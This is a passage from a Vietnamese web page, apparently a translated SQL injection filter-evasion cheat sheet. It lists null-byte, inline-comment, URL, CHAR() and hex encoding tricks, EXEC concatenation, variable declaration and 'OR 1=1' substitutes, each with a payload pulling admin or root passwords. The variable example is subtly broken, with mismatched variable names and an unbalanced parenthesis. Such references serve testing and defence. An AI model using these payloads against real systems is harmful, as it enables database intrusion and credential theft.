        'a'
  1. Null Bytes

Sử dụng byte rỗng (% 00) trước bất kỳ ký tự nào mà bộ lọc đang chặn.

Ví dụ: nếu kẻ tấn công có thể đưa vào SQL sau

' UNION SELECT password FROM Users WHERE username='admin'--

để thêm Null Byte sẽ là

%00' UNION SELECT password FROM Users WHERE username='admin'--
  1. SQL Comments

Thêm chú thích nội dòng SQL cũng có thể giúp câu lệnh SQL hợp lệ và bỏ qua bộ lọc chèn SQL. Lấy SQL injection này làm ví dụ.

' UNION SELECT password FROM Users WHERE name='admin'--

Thêm chú thích nội dòng SQL sẽ được.

'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--

'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--
  1. Mã hóa URL

Sử dụng mã hóa URL trực tuyến để mã hóa câu lệnh SQL

' UNION SELECT password FROM Users WHERE name='admin'--

Mã hóa URL của câu lệnh SQL injection sẽ là

% 27% 20UNION% 20SELECT% 20password% 20FROM% 20Users% 20WHERE% 20name% 3D% 27admin% 27--
  1. Mã hóa ký tự

Hàm Char () có thể được dùng để thay thế hàm char tiếng Anh. Ví dụ, char (114,111,111,116) có nghĩa là gốc

' UNION SELECT password FROM Users WHERE name='root'--

Để áp dụng Char (), câu lệnh lệnh SQL sẽ là

' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--
  1. Nối chuỗi

Sự kết hợp phá vỡ các từ khóa SQL và tránh các bộ lọc. Cú pháp nối khác nhau dựa trên công cụ cơ sở dữ liệu. Lấy công cụ MS SQL làm ví dụ

select 1

Câu lệnh SQL đơn giản có thể được thay đổi như bên dưới bằng cách sử dụng phép nối

EXEC('SEL' + 'ECT 1')
  1. Mã hóa Hex

Kỹ thuật mã hóa hệ thập lục phân sử dụng mã hóa Hệ thập lục phân để thay thế ký tự câu lệnh SQL ban đầu. Ví dụ, root có thể được biểu diễn dưới dạng 726F6F74

Select user from users where name = 'root'

Câu lệnh SQL bằng cách sử dụng giá trị HEX sẽ là:

Select user from users where name = 726F6F74

hoặc

Select user from users where name = unhex('726F6F74')
  1. Khai báo các biến

Khai báo câu lệnh SQL injection vào biến và thực thi nó.

Ví dụ, SQL injection

Union Select password

Định nghĩa câu lệnh SQL thành SQLivar biến

; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
EXEC(@SQLivar)
  1. Biểu thức thay thế của ‘hoặc 1 = 1’
OR 'SQLi' = 'SQL'+'i'
OR 'SQLi' &gt; 'S'
or 20 &gt; 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
1 || 1 = 1
1 && 1 = 1

Biện pháp khắc phục hậu quả

Để bảo mật ứng dụng khỏi các lỗ hổng SQL Injection, hãy tham khảo Biểu đồ ngăn chặn SQL Injection.

Để bảo mật máy chủ SQL, hãy tham khảo Biểu đồ bảo mật cơ sở dữ liệu.

Công cụ

Để bảo mật xác thực đầu vào chung, hãy tham khảo Biểu mẫu xác thực đầu vào. Các bạn có thể đọc thêm tool quét lỗi sql injection.

Các bài viết tham khảo:

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Contact Me on Zalo
Call now